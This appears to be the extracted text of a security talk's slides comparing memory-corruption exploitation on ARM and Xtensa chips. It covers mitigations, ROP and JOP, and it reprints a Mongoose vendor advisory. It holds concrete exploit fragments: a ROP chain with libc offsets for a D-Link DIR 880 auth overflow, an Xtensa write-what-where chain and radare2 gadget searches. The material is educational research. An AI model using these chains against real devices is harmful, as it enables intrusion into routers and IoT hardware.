Exploitation: ARM & Xtensa compared
Stacks, overflows, gadgets, asm, and things
Risk officer and security researcher

Computer systems engineer, developer for some years, lecturer 12 odd years, then pentester and researcher

Capsaicin & caffeine addict
Hates breaking things inadvertently
IT Security Analyst at Compass Security (**much swiss**)  
- likes to break stuff  
- likes beer & whiskey (hey arun), food (deepfried)  
- dislikes any kind of fresh fruit  
- should have invested in XVG 4 months ago

/home/pepe

aka
nks0ne / Philipp Promuschel  
Contact:  
https://twitter.com/nks0ne
Exploitation of the new kid on the block

Wait, there is more (Apple)...
What we do today?

- **Exploitation**: History of exploitation and well-known techniques
- **Mitigation**: Past protections and how effective they can be
- **Comparison**: Exploitation techniques on ARM vs Xtensa (assembly)
- **Pwn it**: Where you can start to get involved and break things
You know that IoT is getting popular when Amazon RTOS and Azure IOT Embedded OSes (actually too many to mention)
  - Android/Linux
  - Zephyr / RIOT OS / Mongoose OS
Frameworks
  - Libraries and build tools supplied (Azure IoT, Amazon FreeRTOS)
Embedded OS Security

What security features are supported by the current top tier modern embedded Operating Systems?

Are they making use of modern anti-exploitation techniques and security features one would expect in a modern IoT OS?

**Zephyr Project**
- ASLR on ARM
- Stack canaries
- NX*

**Linux**
- ASLR on ARM
- Stack canaries
- NX*

**FreeRTOS**
- Stack canaries
- NX*

*NX is inherent on the discussed platforms*
High Level Overview

RISC
- Reduced Instruction Set Architectures

Harvard Architecture
- Memory separated
  - Instruction Memory
  - Data Memory
  - Inherent NX
  - Parallel access possible
    - Fast

ARM
- Mostly used for smartphones, tablets
- Embedded systems

Xtensa
- Highly customizable and configurable processor
- Mostly used for DSP (HiFi)
- ESP8266’s LX106 differs to ESP32’s LX6
Architectures

High level

RISC
- Code density
- Separate I/O from data processing
- Supports register windowing
- Usually 16, 32 or even more register

Xtensa
- 16 & 24 bit instructions

ARM
- Thumb
- Normal
- Jazelle (direct bytecode execution)
ESP8266 (LX106) is not using register windowing (CALL0 ABI Instead)

- **Easy to find ROP gadgets all around**

---

**Registers (what is it?)**

Register windowing (code optimization, e.g.: using registers vs stack)

- “Stackless” architecture
  - No PUSH/POP Instructions
- This makes ROP a lot harder
  - Gadgets need to
    1. POPulate registers
    2. Point to register (value = address) for execution (RET/RET.N not RETW/RETW.N)
    3. Adjust stack (increment SP)
    4. Impossible if Register Windowing is enabled, this code is not existent
  - Solution: JOP

- ESP8266 (LX106) is not using register windowing (CALL0 ABI Instead)
  - Easy to find ROP gadgets all around
Register Windowing
In a nutshell

Registers are split into multiple “windows”
- In, out and local register
- If a function is called register window will be moved (hence pointer is “rotated”)
Current Window Pointer (CWP) is pointing to a current window of registers

What does this mean?
- We only see 16 registers at a time (full stack not accessible)
- Rotation is done by exception handlers (Underflow/Overflow)
- Happens on sub-routine calls/returns

Leads to:
- Less save/restore (stack memory) operations
- Higher code density
Registers ARM vs Xtensa

ARM

Xtensa with Register Windowing
Instructions
### Instructions 101

Affect registers...pew pew pew

#### Xtensa

<table>
<thead>
<tr>
<th>Load &amp; Store</th>
<th>ARM</th>
<th>Xtensa</th>
<th>ARM</th>
</tr>
</thead>
<tbody>
<tr>
<td>l32i</td>
<td>ldr/str</td>
<td>add</td>
<td>add</td>
</tr>
<tr>
<td>l32r</td>
<td>ldm/stm</td>
<td>addi</td>
<td>adci</td>
</tr>
<tr>
<td>s32i</td>
<td>swp</td>
<td>sub, subi</td>
<td>sub, sbc ...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Logic</td>
<td></td>
</tr>
<tr>
<td>Jump &amp; Call</td>
<td></td>
<td>xor, or, bic</td>
<td></td>
</tr>
<tr>
<td>j, jx</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>call0 and callx0</td>
<td></td>
<td>bx, blx, pop pc;</td>
<td></td>
</tr>
<tr>
<td>ret</td>
<td></td>
<td>ldr pc;</td>
<td></td>
</tr>
<tr>
<td>Branches (Conditional)</td>
<td></td>
<td>Memory Operations</td>
<td></td>
</tr>
<tr>
<td>beq</td>
<td>movi, movz, ...</td>
<td>mov, moves, mvneq...</td>
<td></td>
</tr>
<tr>
<td>bge</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bne</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bnez</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### ARM

<table>
<thead>
<tr>
<th>Load &amp; Store</th>
<th>Arithmetic</th>
<th>Memory Operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ldr/str</td>
<td>add</td>
<td>movi, movz, ...</td>
</tr>
<tr>
<td>ldm/stm</td>
<td>addi</td>
<td>mov, moves, mvneq...</td>
</tr>
<tr>
<td>swp</td>
<td>sub, subi</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Logic</td>
<td></td>
</tr>
<tr>
<td>bx, blx</td>
<td>xor, or, bic</td>
<td></td>
</tr>
<tr>
<td>pop pc;</td>
<td>xor, orr, bic</td>
<td></td>
</tr>
<tr>
<td>ldr pc;</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Branches (Conditional)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>beq</td>
<td>movi, movz, ...</td>
<td></td>
</tr>
<tr>
<td>bge</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bne</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bnez</td>
<td></td>
<td></td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Instructions
A Hello World for each platform from C -> asm

Plain C

#include <stdio.h>

int main()
{
    printf("Hello, World!");
    return 0;
}

ARM

.LC0:
    .ascii "Hello, World!\000"
Main:
    push {fp, lr}
    add fp, sp, #4
    ldr r0, .L3
    bl printf
    mov r3, #0
    mov r0, r3
    sub sp, fp, #4
    pop {fp, lr}
    bx lr
.L3:
    .word .LC0

Xtensa Register ABI

.helloworld
    .ascii "Hello, World!\n"
main():
    entry a1, 32
    l32r a10, .helloworld
    movi.n a2, 0
    l32r a8, printf
    callx8 a8
    retw.n
### Xtensa vs ARM

<table>
<thead>
<tr>
<th>Xtensa</th>
<th>Description</th>
<th>ARM</th>
</tr>
</thead>
<tbody>
<tr>
<td>A0</td>
<td>Return Address</td>
<td>R14 (LR)</td>
</tr>
<tr>
<td>A1</td>
<td>Stackpointer</td>
<td>R13</td>
</tr>
<tr>
<td>A2-A16</td>
<td>General Purpose</td>
<td>R1-R6, R8-R10</td>
</tr>
<tr>
<td>PC</td>
<td>Program Counter</td>
<td>R15 (PC)</td>
</tr>
</tbody>
</table>
Exploit Mitigations

How do we keep things safe? Will the IoT dildo kill my wife? Will my fridge order food I don’t like? Are IoT robot vacuums taking over the world?

Adversaries do entry point modifications

- **Stack canaries**
  Canaries in your stack coalmine, checks whether a specific value is available in given locations or if they’ve been overwritten

- **ASLR**
  Randomise the address space to kill attacker expectations of where things will be post-exploit

- **WwX**
  Separate out data execution and memory sections - ESP/DEP/NX

- **Integrity Checks**
  Post-exploitation integrity checks can be helpful to detect ROPchain like code sequences
Defenses against memory corruption

Attacker defender games are always fun
So you have trouble finding gadgets?

- Good gadgets are hard to find, might be time consuming
- Indirect branching rather than using ret-based gadgets

If return options are limiting, then you could also revert to jump branching for your code management, however, this requires the previously needed stack pointer return to be replaced with a set of memory locations and registers.

Benefits of JOP:

- Bypasses the ROP mitigations (detection)
- More gadgets (not just returns but also jumps)

Caveat:

- You need to manage a dispatcher for loading, adding, storing for control flow - each respectively passing back control to the dispatcher
Return Oriented Programming is not possible on all platforms, further some mitigations have been implemented which are able to detect ROP. However, to bypass such limitations, for example on architectures which do not rely on stacks, we can use Jump Oriented Programming. Instead of using the stack, we can define/use a register which is being used to store our chain (gadget addresses) and another register for arguments, the possibilities are endless...
Exploit Mitigations: Stack Canaries

- Canaries aka stack protector / cookie
- Putting a value/pattern (nonce) at beginning of the stack frame
  - Prologue: put random value into the stack
  - Epilogue: check if it has not been overwritten when function returns
- Adds a few instructions to each instruction’s epilogue/prologue
- Example:

```assembly
loc_d0f:
sub  r1, fp, #0x2000 ; CODE XREF=sub_d029+194
ldr  ip, __stack_chk_guard ; 0xd384,__stack_chk_guard
ldr  r1, [r1, #0x3c]
ldr  r2, [fp, #0x28] ;__stack_chk_guard
ldr  r3, [ip]
cmp  r1, #0x0
streq r5, [ip]
cmp  r2, r3
mov  r0, r4
bne  loc_d380

loc_d380:
bl   __stack_chk_fail@PLT ; __stack_chk_fail, CODE XREF=sub_d029+248
```

Sample Text
Exploit Mitigations: ASLR

Diagram showing the randomization of memory regions (Stack, Library code, Program code, and Heap) over time, illustrating how ASLR complicates attacker guesswork. The diagram highlights the process of randomization and rerandomization to prevent predictable memory layout attacks.
Exploit Mitigations: DEP/NX/ESP W\(\Theta\)X

- W\(\Theta\)X
  - Writeable or executable, but never both

- Hardware mitigations

- OpenBSD version 3.3

- Linux implementations of W\(^X\) then followed,
  - such as PaX and
  - Exec-Shield.
Exploitation: Buffer Overflows

What happens?
What could possibly go wrong here?

Xtensa:
- String is written over the allocated stack size
- Overwriting local registers A2, A3, A4, A5, A6, A7 (depending on payload)
- Overwriting A0 (0xDEADBEEF) and A1
- What happens exactly
  - Buffer write out of bounds
  - After `ret.w` the overwritten values on the stack will be restored to registers by the WindowUnderflow Exception-Handler
- Control over execution flow

ARM:
- String is written over the allocated stack size
- Overwriting local registers R0, R1 and most important PC
- What happens exactly
  - saved registers are overwritten, causing us to overlap into saved registers
  - in epilogue PC is recovered from stack
- Control over execution flow

Note: this is just example code, the actual overflow requires a few more adjustments we don’t cover here.
Demo Time

Buffer Overflow - Xtensa:
- https://asciinema.org/a/iRe98v6GyDGHz8ECQjwI7I25Q

demo gods..
Modern exploitation

An ever increasing level of defense and complexity arises as new attacks are found and mitigations are implemented over time.

- **Ret2libc**
  Pretty ancient technique, not seen around much anymore as mitigations are in place for it.

- **ROP & JOP**
  Using existing code to bypass NX (depends on the pointer leakage).

- **ARM**
  Some examples to follow
  Simple RET overwrite, ROP chain

- **Xtensa**
  Some examples to follow
  RET Override, ESP8266 ROP PoC, ESP32ROP (perfect, fake and finding, register windowing)
**OLD SCHOOL**

**ret2libc**

**Existing function**
Jump to an existing function on the system after getting a stack overflow

**Protection**
Jump to an arbitrary frame by overwriting stack frame
Stack protection built into compiler implemented as counter

I remember this...
Return Oriented Programming

STACK NOT EXECUTABLE

**ROPChains**
A "series of chained frames on the stack"
Taking parts of existing code and re-using it for our purposes

**Exploitation**
Chaining multiple small useful gadgets we can achieve successful exploitation

**Executable protection**
ROPchain utilization can bypass the non-executable protection

**But how?**
ARM: `pop {r2, r3, pc};`
Xtensa - not so easy if register window ABI use is in place
ARM

ROP Chain

Example: ROP Chain for D-Link DIR 880 Auth Overflow

As you can see the ROP chain relies heavily on the stack.

```bash
$buf = "A" x 408;
$buf += pack("V", $libc + 0x0005b028);  # 0x0005b028: pop {r1, pc};
$buf += pack("V", 0x01010101);            # r1 = 0x01010101
$buf += pack("V", $libc + 0x0003db80);    # 0x0003db80: pop {r0, pc};
$buf += pack("V", 0x0fefeefe);            # r0 = 0x0fefeefe
$buf += pack("V", $libc + 0x000169a0);    # 0x000169a0: pop {r2, r3, r4, pc};
$buf += pack("V", 0x01010109);            # r2 = 0x01010109
$buf += pack("V", 0x46464646);            # r3
$buf += pack("V", 0x47474747);            # r4
$buf += pack("V", $libc + 0x00043330);    # 0x00043330: pop {lr}; add sp, sp, #8; bx lr;
$buf += pack("V", $libc + 0x00014b04);    # 0x00014b04: pop {r7, pc};
$buf += pack("V", 0x44474747);            # dummy
$buf += pack("V", 0x45474747);            # dummy
$buf += pack("V", 0x46474747);            # dummy
$buf += pack("V", $libc + 0x000156d8);    # 0x000156d8: add r2, r0, r2; cmp r3, r2; movlo r0, #0; bx lr;
$buf += pack("V", $libc + 0x16760);       # mprotect
```

Bring me that router
We discuss details of the Xtensa gadgets on the next slide.

$buf = "A" * 16;
# prepare populate 12-15
$buf .= pack("V", write_gadget);  # return address to write gadget
$buf .= pack("V", 0xf00df00d);   # a12 - we don't care
$buf .= pack("V", 0xf00df00d);   # a13 - we don't care
$buf .= pack("V", data);        # a14
$buf .= pack("V", dest_addr);   # a15
$buf .= pack("V", 0x00000000);  # padding
$buf .= pack("V", 0xdeadbeef);  # padding
$buf .= pack("V", 0xf00df00d);  # padding
# populate a12-15
$buf .= pack("V", populate_gadget);  # return address to populate_gadget
$buf .= pack("V", 0xf00df00d);     # padding
$buf .= pack("V", 0xf00df00d);     # padding
$buf .= pack("V", 0xf00df00d);     # padding
# sync write using 2*isync gadget:
$buf .= pack("V", isync_gadget);  # return address is set to next gadget
$buf .= pack("V", 0xf00df00d);    # padding
$buf .= pack("V", 0xf00df00d);   # padding
$buf .= pack("V", 0xf00df00d);   # padding
$buf .= pack("V", 0xf00df00d);  # padding
ESP8266 Perfect Gadgets

Technically, those work on ESP32 too. However, such code is simply not generated by GCC if configured to use Register Window ABI.

Populate Registers

Populate registers a12 to a15 (we only need a14 and a15) found in <ets_str2macaddr>.

Write-What-Where

Store 4 bytes at instruction memory. Found in <sip_send>.

Sync

Sync gadget to flush operations. Found in <xthal_set_compare>.
Finding ROP Gadgets

Did you have that on your radare?

These are just some examples to get you started:

```
[0x40098118] > "/R/ addi.a  a2, a2, *;"
 0x400785f4   202741 srli a2, a2, 7
 0x400785f7   1b22 addi a2, a2, 1
 0x400785f9   902211 slli a2, a2, 7
 0x400785fc   81a9fe l3r a8, 0x400780a0
 0x400785ff   e00800 callx a8
...

[0x40098118] > "/R/ addi.a, a2, *;ret"
 0x40078a6e   348c92 excw
 0x40078a71   802241 srli a2, a8, 4
 0x40078a74   1b22 addi a2, a2, 1
 0x40078a76   c02211 slli a2, a2, 4
 0x40078a79   1df0 retw
...

[0x40098118] > "/R/ addi.n:callx8"
 0x40098191   0a81 add.n a8, a1, a0
 0x40098193   abff addi.n a15, a15, 10
 0x40098195   e00800 callx8 a8
...
```

using radare2
We can clearly see, the prologues and epilogues of Register Window ABI and Call0 ABI differ. The ESP8266 is relying on the stack, we can see that on each entry/exit a lot of stack related operations happen. While on the other side the ESP32 is using the register windowing, resulting in a much higher code density - yet, makes it harder to identify/find gadgets.
Hardware Debugging with OpenOCD/GDB

HARDWARE DEBUGGING IS PAIN

- Connect via JTAG
- Configure OpenOCD accordingly
- Connect GDB to OpenOCD
- Very limited breakpoints
- Take care of multi-threading.. can be painful too

How to do it better?

- use qemu-esp32 (unlimited breakpoints, no soldering)
- compile FreeRTOS/ESP-IDF to only use 1 core (make menuconfig)
Debugging Xtensa via OpenOCD

- https://asciinema.org/a/dLd6uSMXLDIBpucOlk4ngx5cO
Find the others

What’s next?

Grab yourself an Xtensa
Do research on what devices actually use this
Get your debugging environment set up
Break stuff
Hackaday post by Bitluni’s labs
2 pins, composite video?
decent refresh rate?
No problem...

Too cool not to show

Video next?
Our thanks

People that helped and inspired us
- Joel Sandin
- Saumil Shah
- Jos Wetzels
- Dobin Rutishauser
- Demigod Arun
- Our employers & colleagues
Scooby snacks for good questions

Ponder, then raise hand
Intentionally left dank
Debugging your code

Xipiter Shikra is great for this
Get a cheap dev board
Security advisory on Mongoose networking library

11 April 2017

We have received a notification from security research organisation recently about Mongoose Networking library vulnerability.

The advisory was concerning handling of the multipart upload code: http://seclists.org/full-disclosure/2017/Apr/8.

Prior to making that disclosure public, we have updated our customers and then released the public patch and a stable branch https://github.com/cesanta/mongoose/tree/6.7.1.

The advisory tells about denial of service on Mongoose OS. However it should be noted that on low-power microcontrollers which Mongoose OS targets, it is very trivial to do a denial of service if a microcontroller acts as a server (due to the limited RAM available). Just fire several netcat sessions from your terminal and your microcontroller is down, so there is no need to exploit any vulnerabilities.

Both Mongoose OS and Mongoose Networking library are fixed at this moment. Please make sure you’re using the latest stable version.

As a security best practice we recommend to avoid using device in the server mode. Instead make it a client, talking to a backend, reporting data and reacting on commands. That way you will prevent the large class of security attacks.

Sergey Lyubka
Cesanta CTO and co-founder. Former Googler.
teaser challenge...

Hacky Easter

hacking-lab.com